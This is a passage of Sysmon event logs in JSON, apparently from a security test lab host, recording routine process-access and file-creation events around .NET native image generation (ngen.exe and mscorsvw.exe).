ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:16.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010EA570B00}","TargetProcessId":"4532","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7456,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:17.057\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010E6000C00}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:17.057","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010E6000C00}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7457,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:17.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010E6000C00}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:17.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010E6000C00}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:17","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7458,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:17.057\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010E6000C00}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:17.057","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010E6000C00}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:17","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7459,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:20.994\r\nProcessGuid: {90617006-42C9-5F2D-0000-00103DB00D00}\r\nProcessId: 4128\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1020-0\\System.Activities.Presentation.dll\r\nCreationUtcTime: 2020-08-07 12:02:20.994","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:20.994","ProcessGuid":"{90617006-42C9-5F2D-0000-00103DB00D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1020-0\\System.Activities.Presentation.dll","CreationUtcTime":"2020-08-07 12:02:20.994","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7460,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.135\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-0010F3B80D00}\r\nTargetProcessId: 5088\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.135","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-0010F3B80D00}","TargetProcessId":"5088","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7461,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-0010F3B80D00}\r\nTargetProcessId: 5088\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-0010F3B80D00}","TargetProcessId":"5088","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7462,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-0010F3B80D00}\r\nTargetProcessId: 5088\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-0010F3B80D00}","TargetProcessId":"5088","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7463,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001058BC0D00}\r\nTargetProcessId: 4516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001058BC0D00}","TargetProcessId":"4516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7464,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001058BC0D00}\r\nTargetProcessId: 4516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 